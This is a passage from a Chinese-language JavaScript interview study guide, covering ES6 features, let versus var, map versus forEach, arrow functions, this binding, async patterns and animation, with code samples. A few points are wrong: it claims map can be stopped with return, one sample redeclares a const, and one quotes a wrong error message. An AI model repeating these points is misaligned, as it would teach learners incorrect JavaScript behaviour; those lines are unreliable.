const { name, age } = person;
console.log(name); // Alice
console.log(age); // 25
  1. 默认参数:
// 函数默认参数
function greet(name = "Anonymous") {
  console.log(`Hello, ${name}!`);
}

greet(); // Hello, Anonymous!
greet("Alice"); // Hello, Alice!
  1. 扩展运算符:
// 数组展开
const numbers = [1, 2, 3];
const combined = [...numbers, 4, 5];
console.log(combined); // [1, 2, 3, 4, 5]

// 对象展开
const person = { name: "Alice", age: 25 };
const copiedPerson = { ...person };
console.log(copiedPerson); // { name: "Alice", age: 25 }
  1. Promise:
// Promise示例
const fetchData = () => {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve("Data fetched successfully");
    }, 2000);
  });
};

fetchData()
  .then(data => {
    console.log(data); // Data fetched successfully
  })
  .catch(error => {
    console.error(error);
  });

这些示例展示了ES6的一些特性的用法,但请注意,ES6的特性在不同的环境中可能有不同的支持程度,因此在实际开发中需要注意目标环境的兼容性。

# 45 什么是面向对象编程及面向过程编程,它们的异同和优缺点

面向过程编程(Procedural Programming)和面向对象编程(Object-Oriented Programming)是两种不同的编程范式。

面向过程编程是一种以过程(函数、方法)为中心的编程方式,将程序看作是一系列的步骤,通过顺序执行这些步骤来解决问题。面向过程编程强调的是解决问题的步骤和算法,将问题划分为不同的子任务,通过函数的调用和数据的传递来实现任务之间的协作。

面向过程编程的特点:

  • 程序以过程为单位进行组织,以函数为基本单位。
  • 数据和函数是分离的,函数对于数据的操作是通过参数进行传递。
  • 强调算法和步骤,对问题进行分解和抽象,通过顺序、选择、循环等基本结构来控制程序的流程。
  • 程序的可重用性较低,容易产生大量的重复代码。

面向对象编程是一种以对象为中心的编程方式,将程序看作是一系列相互关联的对象,通过对象之间的交互和消息传递来解决问题。面向对象编程强调的是事物(对象)的抽象、封装、继承和多态性。

面向对象编程的特点:

  • 程序以对象为单位进行组织,对象是数据和方法的封装体。
  • 数据和函数(方法)是紧密关联的,对象通过方法来操作自己的数据。
  • 强调对象之间的关系和交互,通过继承、封装和多态性来实现代码的复用和灵活性。
  • 程序的可重用性较高,易于维护和扩展。

异同和优缺点:

  • 异同:
    • 异同点在于编程的思维方式和组织代码的方式不同,面向过程注重解决问题的步骤和算法,面向对象注重对象和对象之间的关系和交互。
    • 面向过程将问题分解为不同的函数来实现,而面向对象将问题抽象为对象,通过对象的方法来实现功能。
  • 优点:
    • 面向过程编程的优点包括:简单、直观、执行效率高。
    • 面向对象编程的优点包括:可重用性高、易于扩展和维护、代码更加模块化和灵活。
  • 缺点:
    • 面向过程编程的缺点包括:代码重复性高、维护困难、扩展性差。
    • 面向对象编程的缺点包括:复杂性高、学习曲线陡

# 46 面向对象编程思想

面向对象编程(Object-Oriented Programming,简称OOP)是一种编程思想和方法论,其基本思想是以对象为中心,通过封装、继承和多态等机制来组织和管理代码。以下是面向对象编程的基本思想:

  1. 封装(Encapsulation):将数据和对数据的操作封装在一起,形成对象。对象对外暴露有限的接口,隐藏内部实现细节,提供更好的模块化和抽象性。
  2. 继承(Inheritance):通过继承机制,一个类(子类)可以继承另一个类(父类)的属性和方法,并可以在此基础上添加、修改或扩展功能。继承可以实现代码的重用性和层次化的组织。
  3. 多态(Polymorphism):多态是指同一个方法名可以在不同的对象上产生不同的行为。通过多态,可以以统一的方式处理不同类型的对象,提高代码的灵活性和可扩展性。

面向对象编程的优点包括:

  • 易维护性:对象的封装性和模块化使得代码易于维护和理解。对修改封闭、对扩展开放的原则可以减少对已有代码的影响。
  • 代码重用性:通过继承和组合等机制,可以重用已有的类和代码,减少重复编写代码的工作量。
  • 灵活性和可扩展性:面向对象编程提供了灵活的结构和抽象层次,使得代码易于扩展和修改,适应需求的变化。
  • 可靠性:封装和继承等机制可以提高代码的可靠性和可测试性,减少错误的发生和影响范围。
  • 可理解性:面向对象的代码通常具有良好的可读性和可理解性,对象和类的设计使得代码更加直观和自然。

面向对象编程可以提供更高层次的抽象和组织,适用于复杂的系统和大型项目的开发。但同时,面向对象编程也有一些限制和挑战,如学习曲线较陡、设计复杂度高、性能开销等。适合选择何种编程思想取决于具体的项目需求和开发场景。

# 47 对web标准、可用性、可访问性的理解

Web标准(Web Standards)是指由W3C(World Wide Web Consortium)等组织制定的用于开发和实现Web内容的一系列规范和标准。它包括HTML、CSS、JavaScript等技术规范,旨在确保不同浏览器和设备在呈现网页时的一致性和互操作性。遵循Web标准可以提高网站的可维护性、可访问性和可扩展性,同时提升用户体验。

  • 可用性(Usability)是指一个产品或系统在用户使用过程中的易用性和用户满意度。一个具有良好可用性的产品能够满足用户的需求,提供直观、简洁、一致的用户界面,减少用户的学习成本和操作复杂度,提供明确的反馈和帮助信息,从而提升用户的效率和满意度。
  • 可访问性(Accessibility)是指Web内容对于所有用户,包括残障用户,的可阅读和可理解性。它涉及到使用无障碍技术和遵循无障碍设计原则,以确保残障用户能够平等地获取和使用Web内容。这包括为视觉、听觉、运动和认知等方面的残障用户提供适当的辅助功能和支持,如屏幕阅读器、放大器、辅助键盘等。
  • 可维护性(Maintainability)是指一个系统或代码的易维护性和可理解性。一个具有良好可维护性的系统能够快速定位和修复问题,容易进行功能扩展和修改。为了提高可维护性,代码应具有良好的结构和组织,遵循设计模式和编程规范,提供清晰的注释和文档,同时采用合适的工具和方法进行版本控制和测试。

这三个概念在Web开发中都非常重要。遵循Web标准可以提高网站的可访问性和可用性,从而更好地服务于用户的需求。同时,考虑可维护性可以降低代码的维护成本和风险,使开发团队能够更加高效地进行开发和迭代。

# 48 如何通过JS判断一个数组

  1. instanceof方法:使用instanceof运算符判断对象是否为数组,返回布尔值。例如:arr instanceof Array
  2. constructor方法:使用constructor属性返回对象的构造函数,并判断该构造函数是否为数组构造函数。例如:arr.constructor == Array
  3. 使用Object.prototype.toString.call()方法:利用Object.prototype.toString.call(value)方法,将要判断的变量作为参数传入,并判断返回的字符串是否为"[object Array]"。例如:Object.prototype.toString.call(arr) == '[object Array]'
  4. ES5新增的isArray()方法:使用Array.isArray()方法判断一个值是否为数组,返回布尔值。例如:Array.isArray(arr)

# 49 谈一谈let与var的区别

1. 块级作用域:

  • let声明的变量具有块级作用域,在块级作用域内定义的变量只在该块内有效。
  • var声明的变量没有块级作用域,它的作用域是函数级的或全局的。

示例代码:

// 使用 let 声明变量
function example1() {
  let x = 10;

  if (true) {
    let x = 20;
    console.log(x); // 输出 20
  }

  console.log(x); // 输出 10
}

example1();

// 使用 var 声明变量
function example2() {
  var y = 30;

  if (true) {
    var y = 40;
    console.log(y); // 输出 40
  }

  console.log(y); // 输出 40
}

example2();

2. 变量提升:

  • 使用 let 声明的变量不存在变量提升,必须在声明后使用。
  • 使用 var 声明的变量会存在变量提升,可以在声明之前使用。

示例代码:

// 使用 let 声明变量
function example3() {
  console.log(x); // 报错:ReferenceError: x is not defined
  let x = 10;
}

example3();

// 使用 var 声明变量
function example4() {
  console.log(y); // 输出 undefined
  var y = 20;
}

example4();

3. 重复声明:

  • 使用 let 声明的变量不允许重复声明,重复声明会导致报错。
  • 使用 var 声明的变量允许重复声明,不会报错,后面的声明会覆盖前面的声明。

示例代码:

// 使用 let 声明变量
let z = 30;
let z = 40; // 报错:SyntaxError: Identifier 'z' has already been declared

// 使用 var 声明变量
var w = 50;
var w = 60; // 不会报错,后面的声明覆盖前面的声明
console.log(w); // 输出 60

4. 循环中的区别

for循环中,使用var声明的变量具有函数作用域,因此在循环结束后仍然可以访问到循环变量;而使用let声明的变量具有块级作用域,因此在每次循环迭代时会创建一个新的变量实例,避免了常见的循环中的问题。

  • 使用 let 声明的变量在循环体内部具有块级作用域,每次迭代都会创建一个新的变量。
  • 使用 var 声明的变量在循环体内部没有块级作用域,变量是函数级的或全局的。
// 使用 let 声明变量的循环
for (let i = 0; i < 3; i++) {
  setTimeout(function() {
    console.log(i); // 输出 0, 1, 2
  }, 1000);
}

// 使用 var 声明变量的循环
for (var j = 0; j < 3; j++) {
  setTimeout(function() {
    console.log(j); // 输出 3, 3, 3
  }, 1000);
}

# 50 map与forEach的区别

  • forEach方法是无法中断的,即使在遍历过程中使用return语句也无法停止遍历。而map方法可以使用return语句中断遍历。
  • map方法会生成一个新的数组,并将每次遍历的返回值按顺序放入新数组中。而forEach方法没有返回值,仅用于遍历数组。
  • map方法可以链式调用其他数组方法,比如filterreduce等。而forEach方法不能链式调用其他数组方法。

示例代码:

const numbers = [1, 2, 3, 4, 5];

// 使用 forEach 方法遍历数组
numbers.forEach(function(item, index, array) {
  console.log(item); // 输出数组元素
  console.log(index); // 输出索引值
  console.log(array); // 输出原数组
});

// 使用 map 方法遍历数组并生成新数组
const doubledNumbers = numbers.map(function(item, index, array) {
  return item * 2;
});
console.log(doubledNumbers); // 输出 [2, 4, 6, 8, 10]

在上面的示例中,使用forEach方法遍历数组并输出元素、索引和原数组。而使用map方法遍历数组并返回每个元素的两倍值,生成一个新的数组doubledNumbers。注意,在map的回调函数中使用了return语句来指定返回值。

总结:forEach方法用于遍历数组,没有返回值;map方法也用于遍历数组,返回一个新的数组,并且可以通过在回调函数中使用return语句来指定每次遍历的返回值。

# 51 谈一谈你理解的函数式编程

  • 简单说,"函数式编程"是一种"编程范式"(programming paradigm),也就是如何编写程序的方法论
  • 它具有以下特性:闭包和高阶函数、惰性计算、递归、函数是"第一等公民"、只用"表达式"

函数式编程(Functional Programming)是一种编程范式,它强调将计算过程视为函数求值的数学模型,通过组合和应用函数来进行程序开发。函数式编程具有以下特点:

  1. 纯函数(Pure Functions):函数的输出只由输入决定,不会产生副作用,即对同样的输入始终返回相同的输出。纯函数不会修改传入的参数,也不会改变外部状态,使得代码更加可预测和易于测试。
  2. 不可变性(Immutability):数据一旦创建就不能被修改,任何对数据的改变都会创建一个新的数据副本。这种不可变性使得代码更加安全,避免了一些潜在的错误。
  3. 高阶函数(Higher-Order Functions):函数可以作为参数传递给其他函数,也可以作为返回值返回。这种高阶函数的能力可以用来进行函数的组合、封装和抽象,提高代码的复用性和可读性。
  4. 函数组合(Function Composition):通过将多个函数组合成一个新的函数,可以实现更复杂的逻辑。函数组合可以通过函数的返回值作为参数传递给另一个函数,将多个函数连接起来形成一个函数链。
  5. 惰性计算(Lazy Evaluation):只在需要的时候才进行计算,避免不必要的计算。这种惰性计算可以提高程序的性能和效率。

下面是一个简单的函数式编程的示例代码:

// 纯函数示例:计算一个数组中所有偶数的平均值
function calculateAverage(numbers) {
  const evenNumbers = numbers.filter((num) => num % 2 === 0);
  const sum = evenNumbers.reduce((acc, curr) => acc + curr, 0);
  return sum / evenNumbers.length;
}

const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
const average = calculateAverage(numbers);
console.log(average); // 输出 6

// 高阶函数示例:使用 map 和 reduce 计算数组中每个元素的平方和
function calculateSquareSum(numbers) {
  return numbers.map((num) => num * num).reduce((acc, curr) => acc + curr, 0);
}

const numbers = [1, 2, 3, 4, 5];
const squareSum = calculateSquareSum(numbers);
console.log(squareSum); // 输出 55

// 函数组合示例:组合两个函数计算数组中偶数的平方和
const evenNumbersSquareSum = calculateSquareSum(numbers.filter((num) => num % 2 === 0));
console.log(evenNumbersSquareSum); // 输出 20

在上面的示例代码中,我们使用纯函数的方式编写了两个函数calculateAveragecalculateSquareSum,它们接收一个数组作为参数,并根据函数式编程的原则

# 52 谈一谈箭头函数与普通函数的区别?

  1. this指向: 箭头函数没有自己的this,它会捕获所在上下文的this值。而普通函数的this是在运行时确定的,根据调用方式决定。
// 普通函数中的this指向调用者
function greet() {
  console.log(`Hello, ${this.name}!`);
}

const person = { name: 'Alice' };

greet.call(person); // 输出:Hello, Alice!

// 箭头函数中的this指向定义时的上下文
const greetArrow = () => {
  console.log(`Hello, ${this.name}!`);
};

greetArrow.call(person); // 输出:Hello, undefined!
  1. 不可作为构造函数: 箭头函数不能使用new关键字来创建实例,它没有自己的prototype属性,无法进行实例化。
const Person = (name) => {
  this.name = name; // 错误,箭头函数不能作为构造函数
};

const person = new Person('Alice'); // 错误,无法实例化箭头函数
  1. arguments对象: 箭头函数没有自己的arguments对象,可以使用Rest参数来代替。
function sum() {
  console.log(arguments); // 输出函数的参数列表
}

sum(1, 2, 3); // 输出:Arguments(3) [1, 2, 3]

const sumArrow = (...args) => {
  console.log(args); // 输出函数的参数列表
};

sumArrow(1, 2, 3); // 输出:[1, 2, 3]
  1. yield命令: 箭头函数不能用作Generator函数,无法使用yield命令进行函数的暂停和恢复。
function* generatorFunc() {
  yield 1;
  yield 2;
}

const gen = generatorFunc();
console.log(gen.next().value); // 输出:1

const arrowGen = () => {
  yield 1; // 错误,箭头函数不能使用yield命令
};

综上所述,箭头函数与普通函数在this指向、构造函数能力、arguments对象和yield命令等方面有明显的区别。根据具体的使用场景和需求,选择适合的函数类型进行编程。

总结

  • 函数体内的this对象,就是定义时所在的对象,而不是使用时所在的对象
  • 不可以当作构造函数,也就是说,不可以使用new命令,否则会抛出一个错误
  • 不可以使用arguments对象,该对象在函数体内不存在。如果要用,可以用Rest参数代替
  • 不可以使用yield命令,因此箭头函数不能用作Generator函数

# 53 谈一谈函数中this的指向

函数中的this指向是根据函数的调用方式而确定的,有以下几种常见的情况:

  1. 方法调用模式: 当函数作为对象的方法被调用时,this指向调用该方法的对象。
const person = {
  name: 'Alice',
  greet: function() {
    console.log(`Hello, ${this.name}!`);
  }
};

person.greet(); // 输出:Hello, Alice!
  1. 函数调用模式: 当函数独立调用时,this指向全局对象(在浏览器环境中通常指向window对象)或undefined(在严格模式下)。
function greet() {
  console.log(`Hello, ${this.name}!`);
}

const name = 'Alice';

greet(); // 输出:Hello, undefined!

// 在严格模式下
'use strict';
greet(); // 输出:Hello, undefined!
  1. 构造器调用模式: 当函数用作构造器(使用new关键字)创建对象时,this指向新创建的对象。
function Person(name) {
  this.name = name;
  this.greet = function() {
    console.log(`Hello, ${this.name}!`);
  };
}

const person = new Person('Alice');

person.greet(); // 输出:Hello, Alice!
  1. apply/call调用模式: 使用applycall方法来调用函数时,可以手动指定this的值。
function greet() {
  console.log(`Hello, ${this.name}!`);
}

const person = {
  name: 'Alice'
};

greet.call(person); // 输出:Hello, Alice!
greet.apply(person); // 输出:Hello, Alice!

总结来说,函数中的this指向是根据函数的调用方式来确定的,可以是调用函数的对象、全局对象、新创建的对象,或者通过apply/call方法手动指定。了解函数的调用方式可以帮助理解和正确使用this关键字。

总结

1. this 指向有哪几种

  • 默认绑定:全局环境中,this默认绑定到window
  • 隐式绑定:一般地,被直接对象所包含的函数调用时,也称为方法调用,this隐式绑定到该直接对象
  • 隐式丢失:隐式丢失是指被隐式绑定的函数丢失绑定对象,从而默认绑定到window。显式绑定:通过call()apply()bind()方法把对象绑定到this上,叫做显式绑定
  • new绑定:如果函数或者方法调用之前带有关键字new,它就构成构造函数调用。对于this绑定来说,称为new绑定
    • 构造函数通常不使用return关键字,它们通常初始化新对象,当构造函数的函数体执行完毕时,它会显式返回。在这种情况下,构造函数调用表达式的计算结果就是这个新对象的值
    • 如果构造函数使用return语句但没有指定返回值,或者返回一个原始值,那么这时将忽略返回值,同时使用这个新对象作为调用结果
    • 如果构造函数显式地使用return语句返回一个对象,那么调用表达式的值就是这个对象

2. 改变函数内部 this 指针的指向函数(bind,apply,call的区别)

  • apply:调用一个对象的一个方法,用另一个对象替换当前对象。例如:B.apply(A, arguments);即A对象应用B对象的方法
  • call:调用一个对象的一个方法,用另一个对象替换当前对象。例如:B.call(A, args1,args2);即A对象调用B对象的方法
  • bind除了返回是函数以外,它的参数和call一样

3. 箭头函数

  • 箭头函数没有this,所以需要通过查找作用域链来确定this的值,这就意味着如果箭头函数被非箭头函数包含,this绑定的就是最近一层非箭头函数的this
  • 箭头函数没有自己的arguments对象,但是可以访问外围函数的arguments对象
  • 不能通过new关键字调用,同样也没有new.target值和原型

# 54 异步编程的实现方式

  • 回调函数:在异步操作完成后,通过回调函数来处理结果
    • 优点:简单、容易理解
    • 缺点:不利于维护,代码耦合高
function fetchData(callback) {
  setTimeout(() => {
    const data = 'Hello, world!';
    callback(data);
  }, 1000);
}

fetchData((data) => {
  console.log(data); // 输出:Hello, world!
});
  • 事件监听:通过事件的发布和订阅来实现异步操作
    • 优点:容易理解,可以绑定多个事件,每个事件可以指定多个回调函数
    • 缺点:事件驱动型,流程不够清晰
function fetchData() {
  setTimeout(() => {
    const data = 'Hello, world!';
    eventEmitter.emit('dataReceived', data);
  }, 1000);
}

eventEmitter.on('dataReceived', (data) => {
  console.log(data); // 输出:Hello, world!
});

fetchData();
  • 发布/订阅(观察者模式):类似于事件监听,但是可以通过消息中心来管理发布者和订阅者
    • 类似于事件监听,但是可以通过‘消息中心’,了解现在有多少发布者,多少订阅者
function fetchData() {
  setTimeout(() => {
    const data = 'Hello, world!';
    messageCenter.publish('dataReceived', data);
  }, 1000);
}

messageCenter.subscribe('dataReceived', (data) => {
  console.log(data); // 输出:Hello, world!
});

fetchData();
  • Promise对象:使用Promise对象可以更方便地处理异步操作的结果和错误
    • 优点:可以利用then方法,进行链式写法;可以书写错误时的回调函数;
    • 缺点:编写和理解,相对比较难
function fetchData() {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      const data = 'Hello, world!';
      resolve(data);
    }, 1000);
  });
}

fetchData()
  .then((data) => {
    console.log(data); // 输出:Hello, world!
  })
  .catch((error) => {
    console.error(error);
  });
  • Generator函数:使用Generator函数可以实现函数体内外的数据交换和错误处理
    • 优点:函数体内外的数据交换、错误处理机制
    • 缺点:流程管理不方便
function* fetchData() {
  try {
    const data = yield new Promise((resolve, reject) => {
      setTimeout(() => {
        resolve('Hello, world!');
      }, 1000);
    });
    console.log(data); // 输出:Hello, world!
  } catch (error) {
    console.error(error);
  }
}

const generator = fetchData();
const promise = generator.next().value;
promise
  .then((data) => {
    generator.next(data);
  })
  .catch((error) => {
    generator.throw(error);
  });
  • async函数:async函数是Generator函数的语法糖,可以更方便地编写和理解异步代码
    • 优点:内置执行器、更好的语义、更广的适用性、返回的是Promise、结构清晰。
    • 缺点:错误处理机制
async function fetchData() {
  try {
    const data = await new Promise((resolve, reject) => {
      setTimeout(() => {
        resolve('Hello, world!');
      }, 1000);
    });
    console.log(data); // 输出:Hello, world!
  } catch (error) {
    console.error(error);
  }
}

fetchData();

# 56 谈谈你对原生Javascript了解程度

数据类型、运算、对象、Function、继承、闭包、作用域、原型链、事件、RegExpJSONAjaxDOMBOM、内存泄漏、跨域、异步装载、模板引擎、前端MVC、路由、模块化、CanvasECMAScript

1. 数据类型:JavaScript具有多种数据类型,包括字符串、数字、布尔值、对象、数组、函数等 2. 运算:JavaScript支持常见的算术运算、逻辑运算和比较运算,也支持位运算和三元运算符

let sum = 5 + 3;
let isTrue = true && false;
let isEqual = 10 === 5;
let bitwiseOr = 3 | 5;
let result = (num > 0) ? "Positive" : "Negative";

3. 对象:JavaScript中的对象是键值对的集合,可以通过字面量形式或构造函数创建对象

let person = { name: "poetry", age: 25 };
let car = new Object();
car.brand = "Toyota";
car.color = "Blue";

4. Function:JavaScript中的函数是一等公民,可以作为变量、参数或返回值进行操作

function add(a, b) {
  return a + b;
}

let multiply = function(a, b) {
  return a * b;
};

let result = multiply(2, 3);

5. 继承: JavaScript使用原型链实现对象之间的继承关系

function Animal(name) {
  this.name = name;
}

Animal.prototype.sayHello = function() {
  console.log("Hello, I'm " + this.name);
};

function Dog(name, breed) {
  Animal.call(this, name);
  this.breed = breed;
}

Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog;

let dog = new Dog("Max", "Labrador");
dog.sayHello();

6. 闭包:闭包是指函数能够访问其词法作用域外的变量,通过闭包可以实现数据的私有化和封装

function outerFunction() {
  let count = 0;

  return function() {
    count++;
    console.log(count);
  };
}

let increment = outerFunction();
increment(); // 输出:1
increment(); // 输出:2

7. 作用域:JavaScript具有函数作用域和块级作用域,在不同的作用域中变量的可访问性不同

function example() {
  let x = 10;

  if (true) {
    let y = 20;
    console.log(x); // 输出:10
    console.log(y); // 输出:20
  }
}

8. 原型链:原型链是JavaScript中实现对象继承的机制,每个对象都有一个原型对象,形成一个链式结构

function Animal(name) {
  this.name = name;
}

Animal.prototype.sayHello = function() {
  console.log("Hello, I'm " + this.name);
};

function Dog(name, breed) {
  this.breed = breed;
}

Dog.prototype = Object.create(Animal.prototype);
Dog.prototype.constructor = Dog;

let dog = new Dog("Max", "Labrador");
dog.sayHello();

9. 事件:JavaScript通过事件来响应用户的操作,可以通过事件监听和事件处理函数来实现

let button = document.getElementById("myButton");

button.addEventListener("click", function() {
  console.log("Button clicked");
});

10. RegExp:正则表达式是一种用于匹配和操作字符串的强大工具,JavaScript中提供了内置的RegExp对象

let pattern = /[a-zA-Z]+/;
let text = "Hello, World!";
let result = pattern.test(text);
console.log(result); // 输出:true

11. JSON:JSON是一种用于数据交换的格式,JavaScript提供了JSON对象来进行解析和生成JSON数据

let jsonStr = '{"name":"poetry", "age":25}';
let obj = JSON.parse(jsonStr);
console.log(obj.name); // 输出:poetry

let obj2 = { name: "Jane", age: 30 };
let jsonStr2 = JSON.stringify(obj2);
console.log(jsonStr2); // 输出:{"name":"Jane","age":30}

12. Ajax:Ajax是一种在后台与服务器进行异步通信的技术,可以实现页面的局部刷新和动态数据加载

let xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data", true);
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    let response = xhr.responseText;
    console.log(response);
  }
};
xhr.send();

13. DOM:DOM是JavaScript操作网页内容和结构的接口,可以通过DOM来增删改查网页元素

let element = document.getElementById("myElement");
element.innerHTML = "New content";

let newElement = document.createElement("div");
newElement.textContent = "Dynamic element";
document.body.appendChild(newElement);

14. BOM:BOM(浏览器对象模型)提供了与浏览器窗口交互的接口,如操作浏览器历史记录、定时器等

window.location.href = "https://www.example.com";
let screenWidth = window.screen.width;
let timer = setTimeout(function() {
   console.log("Timer expired");
}, 5000);

15. 内存泄漏:内存泄漏是指无用的内存占用没有被释放,JavaScript中需要注意避免造成内存泄漏

function createHeavyObject() {
  let bigArray = new Array(1000000).fill("data");
  return bigArray;
}

let data = createHeavyObject();

// 释放无用的引用,帮助垃圾回收器回收内存
data = null;

16. 跨域:跨域是指在浏览器中访问不同源的资源,需要遵守同源策略或通过CORS等方式解决

// 跨域请求示例
let xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/data", true);
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    let response = xhr.responseText;
    console.log(response);
  }
};
xhr.send();

17. 异步装载:通过异步加载资源,如图片、样式表和脚本,可以提高页面加载和性能

// 异步加载脚本
let script = document.createElement("script");
script.src = "https://example.com/script.js";
document.head.appendChild(script);

// 异步加载图片
let image = new Image();
image.src = "https://example.com/image.jpg";
image.onload = function() {
  console.log("Image loaded");
};

18. 模板引擎:模板引擎是用于生成动态HTML内容的工具,可以将数据和模板进行结合生成最终的HTML

let data = { name: "poetry", age: 25 };

let template = `
  <h1>My Profile</h1>
  <p>Name: ${data.name}</p>
  <p>Age: ${data.age}</p>
`;

document.getElementById("profileContainer").innerHTML = template;

19. 前端MVC:前端MVC(Model-View-Controller)是一种将应用程序分为数据模型、视图和控制器的架构模式

// 模型(Model)
let user = {
  name: "poetry",
  age: 25
};

// 视图(View)
function renderUser(user) {
  let container = document.getElementById("userContainer");
  container.innerHTML = `
    <p>Name: ${user.name}</p>
    <p>Age: ${user.age}</p>
  `;
}

// 控制器(Controller)
function updateUserAge(newAge) {
  user.age = newAge;
  renderUser(user);
}

updateUserAge(30);

20. 路由:路由是指根据不同的URL路径切换不同的页面或视图,前端路由可以通过URL的变化来加载对应的组件或页面

// 设置路由规则
const routes = [
  { path: "/", component: Home },
  { path: "/about", component: About },
  { path: "/contact", component: Contact }
];

// 监听URL变化
window.addEventListener("hashchange", () => {
  const path = window.location.hash.substring(1);
  const route = routes.find(route => route.path === path);

  if (route) {
    const component = new route.component();
    component.render();
  }
});

// 渲染组件
class Home {
  render() {
    document.getElementById("app").innerHTML = "<h1>Home Page</h1>";
  }
}

class About {
  render() {
    document.getElementById("app").innerHTML = "<h1>About Page</h1>";
  }
}

class Contact {
  render() {
    document.getElementById("app").innerHTML = "<h1>Contact Page</h1>";
  }
}

// 初始加载默认路由
window.location.hash = "/";

21. 模块化:JavaScript模块化通过将代码分割为独立的模块,每个模块具有自己的作用域和接口

// 模块A
export function add(a, b) {
  return a + b;
}

export function multiply(a, b) {
  return a * b;
}

// 模块B
import { add, multiply } from "./moduleA.js";

let sum = add(2, 3);
let product = multiply(4, 5);

22.Canvas:Canvas是HTML5提供的用于绘制图形和动画的API,可以通过JavaScript操作Canvas元素

let canvas = document.getElementById("myCanvas");
let ctx = canvas.getContext("2d");

ctx.fillStyle = "red";
ctx.fillRect(0, 0, canvas.width, canvas.height);

ctx.strokeStyle = "blue";
ctx.lineWidth = 2;
ctx.beginPath();
ctx.arc(100, 100, 50, 0, 2 * Math.PI);
ctx.stroke();

23. ECMAScript:ECMAScript是JavaScript的标准化规范,定义了语法、数据类型、函数等核心特性

// ECMAScript 6示例
let name = "poetry";
let age = 25;

let message = `My name is ${name} and I'm ${age} years old.`;

console.log(message);

这些是原生JavaScript的一些重要特性和示例代码,涵盖了数据类型、运算、对象、函数、继承、闭包、作用域、原型链、事件、正则表达式、JSON、Ajax、DOM、BOM、内存泄漏、跨域、异步装载、模板引擎、前端MVC、路由、模块化、Canvas和ECMAScript。当然,JavaScript还有许多其他特性和用法,这只是其中一部分。

# 57 Js动画与CSS动画区别及相应实现

在JavaScript中实现动画可以通过以下方式:

  1. 使用setTimeoutsetInterval函数结合DOM操作来实现逐帧动画。这种方式需要手动计算和控制每一帧的变化,并且需要注意处理动画的性能问题。
let element = document.getElementById("animate");
let position = 0;

function animate() {
  position += 1;
  element.style.left = position + "px";

  if (position < 200) {
    setTimeout(animate, 10);
  }
}

animate();
  1. 使用requestAnimationFrame函数来实现更高效的动画。requestAnimationFrame会在浏览器每一帧绘制之前调用指定的回调函数,可以更好地利用浏览器的刷新机制。
let element = document.getElementById("animate");
let position = 0;

function animate() {
  position += 1;
  element.style.left = position + "px";

  if (position < 200) {
    requestAnimationFrame(animate);
  }
}

animate();
  1. 使用现代JavaScript动画库,如GSAP(GreenSock Animation Platform),它提供了丰富的动画功能和更高级的控制选项。
let element = document.getElementById("animate");

gsap.to(element, {
  x: 200,
  duration: 1,
  ease: "power2.out"
});
  1. 使用Pixi.js实现动画方式

Pixi.js是一个基于WebGL的2D渲染引擎,它提供了丰富的功能和工具来创建高性能的动画效果。使用Pixi.js可以轻松实现复杂的动画效果,并且可以充分利用硬件加速来提高性能。

以下是使用Pixi.js实现动画的示例代码:

4.1 创建Pixi.js应用程序:

// 创建一个Pixi.js应用程序
const app = new PIXI.Application({
  width: 800,
  height: 600,
  backgroundColor: 0x000000
});

// 将Pixi.js应用程序添加到HTML文档中的某个元素中
document.getElementById("container").appendChild(app.view);

4.2 创建并添加精灵对象:

// 创建一个精灵对象
const sprite = PIXI.Sprite.from("image.png");

// 设置精灵对象的位置和缩放
sprite.x = 100;
sprite.y = 100;
sprite.scale.set(0.5);

// 将精灵对象添加到舞台中
app.stage.addChild(sprite);

4.3 实现动画效果:

// 创建一个Tween动画对象
const tween = PIXI.tweenManager.createTween(sprite);

// 设置动画的起始位置和结束位置
tween.from({ x: 100, y: 100 }).to({ x: 500, y: 300 });

// 设置动画的持续时间和缓动函数
tween.time = 1000;
tween.easing = PIXI.tween.Easing.outCubic;

// 开始动画
tween.start();

通过使用Pixi.js提供的TweenManagerTween类,我们可以轻松地创建和控制动画效果。可以设置动画对象的起始状态、结束状态、持续时间和缓动函数,然后调用start()方法开始动画。

除了Tween动画,Pixi.js还提供了许多其他功能,如粒子效果、骨骼动画、滤镜效果等,可以根据具体需求选择合适的方式来实现动画效果。

需要注意的是,使用Pixi.js来实现动画需要先引入Pixi.js库,并在HTML文档中创建一个容器元素用于显示Pixi.js应用程序的画布。

<div id="container"></div>

然后通过上述示例代码来创建Pixi.js应用程序,并实现所需的动画效果。

相比之下,CSS动画具有以下优点:

  • 性能优化:浏览器可以对CSS动画进行硬件加速,以提高动画的性能和流畅度。
  • 简单易用:使用CSS关键帧动画可以通过简单的CSS样式声明来定义动画,代码相对简单。
  • 兼容性:CSS动画在现代浏览器中得到很好的支持,并且在某些情况下可以更好地处理动画效果。

然而,CSS动画也有一些限制:

  • 控制能力受限:CSS动画通常只能实现简单的线性或简单的缓动效果,对于复杂的动画效果和交互控制,可能需要使用JavaScript来实现。
  • 兼容性局限:某些老版本的浏览器可能不支持某些CSS动画属性和效果。

因此,根据实际需求和性能考虑,选择合适的动画实现方式是很重要的。在简单的动画效果和性能要求较高时,可以优先考虑使用CSS动画;而在复杂的动画控制和交互需求时,使用JavaScript来实现动画更为灵活。

# 58 JS 数组和对象的遍历方式,以及几种方式的比较

数组的遍历方式:

1. for循环:

  • 可以使用普通的for循环来遍历数组元素。
  • 优点:灵活性高,可以根据索引进行操作。
  • 缺点:代码相对繁琐,需要手动管理索引。
const array = [1, 2, 3];
for (let i = 0; i < array.length; i++) {
  console.log(array[i]);
}

2. forEach方法:

  • 使用数组的forEach方法进行遍历。
  • 优点:简洁、易读,无需手动管理索引。
  • 缺点:无法使用breakcontinue跳出循环。
const array = [1, 2, 3];
array.forEach((element) => {
  console.log(element);
});

3. for...of循环:

  • 使用for...of循环来遍历数组。
  • 优点:语法简洁,无需手动管理索引,可以遍历任何可迭代对象。
  • 缺点:无法获取当前元素的索引。
const array = [1, 2, 3];
for (const element of array) {
  console.log(element);
}

4. map方法:

  • 使用数组的map方法进行遍历并返回新数组。
  • 优点:可以同时遍历和转换数组的元素,返回一个新数组。
